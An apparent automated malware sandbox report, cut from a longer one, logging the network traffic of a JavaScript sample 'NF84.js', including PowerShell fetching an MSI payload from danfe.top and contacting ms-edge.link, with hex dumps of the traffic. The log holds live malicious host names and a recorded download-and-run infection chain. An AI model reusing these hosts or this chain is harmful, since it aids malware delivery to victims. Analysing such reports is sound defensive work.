oUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent\|\|(t.touchStartX=e.originalEvent.touches[0].clientX)},i=function(e){t._pointerEvent&&v[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._
2024-09-24 04:29:47 UTC	1369	IN	Data Raw: 74 4e 6f 64 65 3f 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 22 29 29 3a 5b 5d 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 74 29 7d 2c 6e 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 22 6e 65 78 74 22 3d 3d 3d 74 2c 69 3d 22 70 72 65 76 22 3d 3d 3d 74 2c 6f 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 65 29 2c 73 3d 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 3b 69 66 28 28 69 26 26 30 3d 3d 3d 6f 7c 7c 6e 26 26 6f 3d 3d 3d 73 29 26 26 21 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 77 72 61 70 29 72 65 Data Ascii: tNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},n._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),s=this._items.length-1;if((i&&0===o\|\|n&&o===s)&&!this._config.wrap)re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49741	188.114.97.3	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:47 UTC	653	OUT	GET /favicon.ico HTTP/1.1 Host: pdfmail.icu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ul5kmekspqrsc6keimmvsh4e53
2024-09-24 04:29:48 UTC	631	IN	HTTP/1.1 404 Not Found Date: Tue, 24 Sep 2024 04:29:48 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mEVD3YfS3NaV4bAZBwcoyRT8%2BU%2Fk82D5BONCwigxCREFwN0p8Wsth3wBtGmibNx7mMBTFC1A4f3y6JS8qRA8GgywIhu%2FbnImT2vKR2oM9Vx%2FQl7lFffg0PzEaf%2BQyQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8c800915691cc35a-EWR
2024-09-24 04:29:48 UTC	305	IN	Data Raw: 31 32 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 74 20 50 48 50 2f 38 2e 30 2e 32 38 20 53 65 72 76 65 72 20 Data Ascii: 12a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 Server
2024-09-24 04:29:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49744	35.190.80.1	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:48 UTC	534	OUT	OPTIONS /report/v4?s=mEVD3YfS3NaV4bAZBwcoyRT8%2BU%2Fk82D5BONCwigxCREFwN0p8Wsth3wBtGmibNx7mMBTFC1A4f3y6JS8qRA8GgywIhu%2FbnImT2vKR2oM9Vx%2FQl7lFffg0PzEaf%2BQyQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://pdfmail.icu Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:48 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 24 Sep 2024 04:29:48 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49746	35.190.80.1	443	5600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:49 UTC	480	OUT	POST /report/v4?s=mEVD3YfS3NaV4bAZBwcoyRT8%2BU%2Fk82D5BONCwigxCREFwN0p8Wsth3wBtGmibNx7mMBTFC1A4f3y6JS8qRA8GgywIhu%2FbnImT2vKR2oM9Vx%2FQl7lFffg0PzEaf%2BQyQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 441 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-24 04:29:49 UTC	441	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 33 31 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 70 64 66 6d 61 69 6c 2e 69 63 75 2f 61 72 71 75 69 76 6f 2f 6c 69 73 74 61 2f 3f 3d 36 36 64 31 63 35 63 64 38 34 65 34 34 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 Data Ascii: [{"age":0,"body":{"elapsed_time":1312,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://pdfmail.icu/arquivo/lista/?=66d1c5cd84e44","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type
2024-09-24 04:29:49 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 24 Sep 2024 04:29:48 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49748	188.114.97.3	443	7000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:29:53 UTC	184	OUT	GET /baixar-aplicativo/?app=Kra.msi HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: danfe.top Connection: Keep-Alive
2024-09-24 04:29:54 UTC	839	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 04:29:54 GMT Content-Type: application/octet-stream Content-Length: 64254464 Connection: close x-powered-by: PHP/8.2.19 content-description: File Transfer content-disposition: attachment; filename=Kra 5809581686.msi expires: 0 cache-control: must-revalidate pragma: public platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MwSmk81yxg65omtCK6juDKJUlHFGeXunWoWR2%2B4Thsix0Cs131Axat0q%2BmxSviXZJxP3O6u5uyXnxAGK5o1AzwCbFCGLrYtt0SIi8J%2BvFIQs2%2FAwJ06KS6t0wJ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c80093cf87172a5-EWR
2024-09-24 04:29:54 UTC	530	IN	Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 03 00 fe ff 09 00 06 00 00 00 00 00 00 00 00 00 00 00 d5 03 00 00 01 00 00 00 00 00 00 00 00 10 00 00 03 00 00 00 02 00 00 00 3c 0d 00 00 07 00 00 00 00 00 00 00 48 00 00 00 d2 00 00 00 64 01 00 00 f8 01 00 00 71 02 00 00 f5 02 00 00 0f 03 00 00 10 03 00 00 11 03 00 00 12 03 00 00 13 03 00 00 14 03 00 00 15 03 00 00 16 03 00 00 17 03 00 00 09 00 00 00 69 08 00 00 6a 08 00 00 6b 08 00 00 6c 08 00 00 6d 08 00 00 6e 08 00 00 6f 08 00 00 70 08 00 00 71 08 00 00 e8 0c 00 00 e9 0c 00 00 ea 0c 00 00 eb 0c 00 00 ec 0c 00 00 ed 0c 00 00 ee 0c 00 00 ef 0c 00 00 f0 0c 00 00 f1 0c 00 00 f2 0c 00 00 f3 0c 00 00 f4 0c 00 00 f5 0c 00 00 f6 0c 00 00 f7 0c 00 00 f8 0c 00 00 f9 0c 00 00 fa 0c 00 Data Ascii: ><Hdqijklmnopq
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 00 00 06 00 00 00 07 00 00 00 24 00 00 00 37 00 00 00 fd ff ff ff 0b 00 00 00 0c 00 00 00 0d 00 00 00 0e 00 00 00 0f 00 00 00 10 00 00 00 11 00 00 00 12 00 00 00 13 00 00 00 14 00 00 00 15 00 00 00 16 00 00 00 17 00 00 00 18 00 00 00 19 00 00 00 1a 00 00 00 1b 00 00 00 1c 00 00 00 1d 00 00 00 1e 00 00 00 1f 00 00 00 20 00 00 00 21 00 00 00 22 00 00 00 23 00 00 00 2e 00 00 00 2f 00 00 00 26 00 00 00 27 00 00 00 28 00 00 00 29 00 00 00 2a 00 00 00 2b 00 00 00 2c 00 00 00 2d 00 00 00 fe ff ff ff 30 00 00 00 35 00 00 00 31 00 00 00 32 00 00 00 33 00 00 00 34 00 00 00 38 00 00 00 36 00 00 00 3f 00 00 00 41 00 00 00 39 00 00 00 3a 00 00 00 3b 00 00 00 3c 00 00 00 3d 00 00 00 3e 00 00 00 cf 07 00 00 40 00 00 00 47 00 00 00 42 00 00 00 43 00 00 00 44 00 00 00 45 Data Ascii: $7 !"#./&'()*+,-05123486?A9:;<=>@GBCDE
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 0a 00 00 00 9f 4d 01 00 00 00 00 00 40 48 0f 42 e4 45 78 45 28 3b 32 44 b3 44 31 42 f1 45 36 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 00 02 01 11 00 00 00 0d 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 00 00 00 24 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00 06 00 00 00 07 00 00 00 08 00 00 00 09 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 0d 00 00 00 0e 00 00 00 0f 00 00 00 10 00 00 00 11 00 00 00 12 00 00 00 13 00 00 00 14 00 00 00 15 00 00 00 16 00 00 00 fe ff ff ff 19 00 00 00 fe ff ff ff fe ff ff ff 1b 00 Data Ascii: M@HBExE(;2DD1BE6H$
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 06 80 01 80 02 80 03 80 04 80 05 80 01 80 02 80 03 00 08 00 02 00 01 00 1e 00 1f 00 21 00 93 00 07 00 06 00 07 00 08 00 1c 00 1d 00 21 00 22 00 07 00 2e 00 2f 00 2e 00 2f 00 0c 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00 39 00 06 00 39 00 53 00 33 01 35 01 37 01 ad 00 01 00 bb 00 39 01 44 00 fd 00 45 00 0d 00 2f 00 22 00 2e 00 84 00 2f 00 9a 00 42 00 9d 00 71 00 4f 00 a5 00 96 00 6a 00 af 00 4b 00 4d 00 da 00 4e 00 39 00 dd 00 93 00 57 00 01 00 51 00 52 00 55 00 22 00 e5 00 e8 00 5b 00 ad 00 01 00 08 00 58 00 d2 00 73 00 2e 00 84 00 2f 00 4f 00 fb 00 2e 00 84 00 2f 00 4f 00 00 01 62 00 03 01 05 01 07 01 64 00 2e 00 84 00 2f 00 4f 00 67 00 c4 00 c6 00 9d 00 71 00 01 00 4e 00 cd 00 6d 00 cf 00 96 00 6a 00 af 00 b1 00 07 00 b4 00 96 00 6b 00 05 00 9a Data Ascii: !!"././1234567899S3579DE/"./BqOjKMN9WQRU"[Xs./O./Obd./OgqNmjk
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 02 01 1f 00 00 00 3a 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 25 00 00 00 f8 10 00 00 00 00 00 00 40 48 1b 42 2a 43 f6 45 35 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 02 01 2d 00 00 00 0b 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 25 00 00 00 48 00 00 00 00 00 00 00 40 48 8b 44 f2 45 f6 45 35 41 f3 44 68 45 9e 3c 1c 42 34 46 68 44 26 42 00 00 00 00 Data Ascii: :%@HB*CE5G-%H@HDEE5ADhE<B4FhD&B
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 65 5f 43 6f 6d 70 6f 6e 65 6e 74 5f 4d 61 69 6e 46 65 61 74 75 72 65 41 50 50 44 49 52 50 72 6f 64 75 63 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 4d 57 69 6e 64 6f 77 73 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 61 76 75 74 69 6c 2e 64 6c 6c 66 65 63 2e 65 78 65 6f 70 65 6e 2e 70 61 67 52 65 67 69 73 41 49 5f 43 6f 6e 64 69 74 69 6f 6e 65 64 50 72 6f 70 65 72 74 79 50 72 6f 70 65 72 74 79 56 61 6c 75 65 5f 56 61 6c 69 64 61 74 69 6f 6e 43 6f 6c 75 6d 6e 4e 75 6c 6c 61 62 6c 65 4d 69 6e 56 61 6c 75 65 4d 61 78 56 61 6c 75 65 4b 65 79 54 61 62 6c 65 4b 65 79 43 6f 6c 75 6d 6e 43 61 74 65 67 6f 72 79 53 65 74 44 65 73 63 72 69 70 74 69 6f 6e 41 63 74 69 6f 6e 54 65 78 74 4e 49 64 65 6e 74 69 66 69 65 72 4e 61 6d 65 20 6f 66 20 61 63 74 69 6f 6e 20 74 6f 20 62 65 Data Ascii: e_Component_MainFeatureAPPDIRProductInformationMWindowsCurrentVersionavutil.dllfec.exeopen.pagRegisAI_ConditionedPropertyPropertyValue_ValidationColumnNullableMinValueMaxValueKeyTableKeyColumnCategorySetDescriptionActionTextNIdentifierName of action to be
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 69 6f 6e 20 6f 66 20 74 68 65 20 63 61 62 69 6e 65 74 20 66 69 6c 65 2e 43 6f 6d 62 6f 42 6f 78 44 69 61 6c 6f 67 4e 61 6d 65 20 6f 66 20 74 68 65 20 64 69 61 6c 6f 67 2e 43 6f 6e 74 72 6f 6c 45 76 65 6e 74 43 6f 6e 74 72 6f 6c 5f 43 6f 6e 74 72 6f 6c 41 20 66 6f 72 65 69 67 6e 20 6b 65 79 20 74 6f 20 74 68 65 20 43 6f 6e 74 72 6f 6c 20 74 61 62 6c 65 2c 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 63 6f 6e 74 72 6f 6c 43 6f 6e 74 72 6f 6c 5f 44 65 66 61 75 6c 74 44 65 66 69 6e 65 73 20 74 68 65 20 64 65 66 61 75 6c 74 20 63 6f 6e 74 72 6f 6c 2e 20 48 69 74 74 69 6e 67 20 72 65 74 75 72 6e 20 69 73 20 65 71 75 69 76 61 6c 65 6e 74 20 74 6f 20 70 75 73 68 69 6e 67 20 74 68 69 73 20 62 75 74 74 6f 6e 2e 43 75 73 74 6f 6d 41 63 74 69 6f 6e 54 68 65 20 6e 75 6d 65 Data Ascii: ion of the cabinet file.ComboBoxDialogName of the dialog.ControlEventControl_ControlA foreign key to the Control table, name of the controlControl_DefaultDefines the default control. Hitting return is equivalent to pushing this button.CustomActionThe nume
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 73 74 2e 20 54 68 65 20 69 6e 74 65 67 65 72 73 20 64 6f 20 6e 6f 74 20 68 61 76 65 20 74 6f 20 62 65 20 63 6f 6e 73 65 63 75 74 69 76 65 2e 54 68 65 20 76 61 6c 75 65 20 73 74 72 69 6e 67 20 61 73 73 6f 63 69 61 74 65 64 20 77 69 74 68 20 74 68 69 73 20 69 74 65 6d 2e 20 53 65 6c 65 63 74 69 6e 67 20 74 68 65 20 6c 69 6e 65 20 77 69 6c 6c 20 73 65 74 20 74 68 65 20 61 73 73 6f 63 69 61 74 65 64 20 70 72 6f 70 65 72 74 79 20 74 6f 20 74 68 69 73 20 76 61 6c 75 65 2e 43 6f 6d 70 6f 6e 65 6e 74 50 72 69 6d 61 72 79 20 6b 65 79 20 75 73 65 64 20 74 6f 20 69 64 65 6e 74 69 66 79 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 63 6f 6d 70 6f 6e 65 6e 74 20 72 65 63 6f 72 64 2e 43 6f 6d 70 6f 6e 65 6e 74 49 64 47 75 69 64 41 20 73 74 72 69 6e 67 20 47 55 49 44 20 75 Data Ascii: st. The integers do not have to be consecutive.The value string associated with this item. Selecting the line will set the associated property to this value.ComponentPrimary key used to identify a particular component record.ComponentIdGuidA string GUID u
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 2c 20 62 75 74 20 63 61 6e 20 72 65 70 65 61 74 20 6f 6e 20 64 69 66 66 65 72 65 6e 74 20 64 69 61 6c 6f 67 73 2e 20 54 68 65 20 74 79 70 65 20 6f 66 20 74 68 65 20 63 6f 6e 74 72 6f 6c 2e 58 48 6f 72 69 7a 6f 6e 74 61 6c 20 63 6f 6f 72 64 69 6e 61 74 65 20 6f 66 20 74 68 65 20 75 70 70 65 72 20 6c 65 66 74 20 63 6f 72 6e 65 72 20 6f 66 20 74 68 65 20 62 6f 75 6e 64 69 6e 67 20 72 65 63 74 61 6e 67 6c 65 20 6f 66 20 74 68 65 20 63 6f 6e 74 72 6f 6c 2e 56 65 72 74 69 63 61 6c 20 63 6f 6f 72 64 69 6e 61 74 65 20 6f 66 20 74 68 65 20 75 70 70 65 72 20 6c 65 66 74 20 63 6f 72 6e 65 72 20 6f 66 20 74 68 65 20 62 6f 75 6e 64 69 6e 67 20 72 65 63 74 61 6e 67 6c 65 20 6f 66 20 74 68 65 20 63 6f 6e 74 72 6f 6c 2e 57 69 64 74 68 57 69 64 74 68 20 6f 66 20 74 68 65 Data Ascii: , but can repeat on different dialogs. The type of the control.XHorizontal coordinate of the upper left corner of the bounding rectangle of the control.Vertical coordinate of the upper left corner of the bounding rectangle of the control.WidthWidth of the
2024-09-24 04:29:54 UTC	1369	IN	Data Raw: 20 75 73 65 64 20 61 73 20 61 20 6d 6f 64 69 66 69 65 72 20 77 68 65 6e 20 74 72 69 67 67 65 72 69 6e 67 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 65 76 65 6e 74 2e 41 20 73 74 61 6e 64 61 72 64 20 63 6f 6e 64 69 74 69 6f 6e 61 6c 20 73 74 61 74 65 6d 65 6e 74 20 74 68 61 74 20 73 70 65 63 69 66 69 65 73 20 75 6e 64 65 72 20 77 68 69 63 68 20 63 6f 6e 64 69 74 69 6f 6e 73 20 61 6e 20 65 76 65 6e 74 20 73 68 6f 75 6c 64 20 62 65 20 74 72 69 67 67 65 72 65 64 2e 4f 72 64 65 72 69 6e 67 41 6e 20 69 6e 74 65 67 65 72 20 75 73 65 64 20 74 6f 20 6f 72 64 65 72 20 73 65 76 65 72 61 6c 20 65 76 65 6e 74 73 20 74 69 65 64 20 74 6f 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 6f 6c 2e 20 43 61 6e 20 62 65 20 6c 65 66 74 20 62 6c 61 6e 6b 2e 4d 69 6e 69 6d 75 6d 20 Data Ascii: used as a modifier when triggering a particular event.A standard conditional statement that specifies under which conditions an event should be triggered.OrderingAn integer used to order several events tied to the same control. Can be left blank.Minimum

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49749	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:30:24 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=R4xbWys1RkYW+xk&MD=DXyzA69e HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-24 04:30:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 14bc8e3e-16f9-4d9c-9ee3-60607d3d0a8e MS-RequestId: 8aab6bfa-6be7-49a0-8683-73f56f8dd44c MS-CV: 4Jj6pDZpA0SaQUZ0.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 24 Sep 2024 04:30:23 GMT Connection: close Content-Length: 30005
2024-09-24 04:30:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-09-24 04:30:24 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49756	104.21.7.178	443	5116	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 04:31:14 UTC	173	OUT	GET /contkra/serv.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: ms-edge.link Connection: Keep-Alive
2024-09-24 04:31:15 UTC	762	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 04:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.2.19 platform: hostinger panel: hpanel content-security-policy: upgrade-insecure-requests x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PK4szGMx8BXWSVZGtop5RcfZJP0hxm1dANfO5jGVGiav5ypjwM62y5FN%2BdJr8g0J%2FKVFtMti9RwYa2j83XL9K69Dy2D%2B8zhVIbgbQFn9f%2FR%2FLLp8aFXwkj4EiX4ShwI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8c800b343cb44381-EWR alt-svc: h3=":443"; ma=86400
2024-09-24 04:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	00:29:29
Start date:	24/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NF84.js"
Imagebase:	0x7ff635f10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:29:40
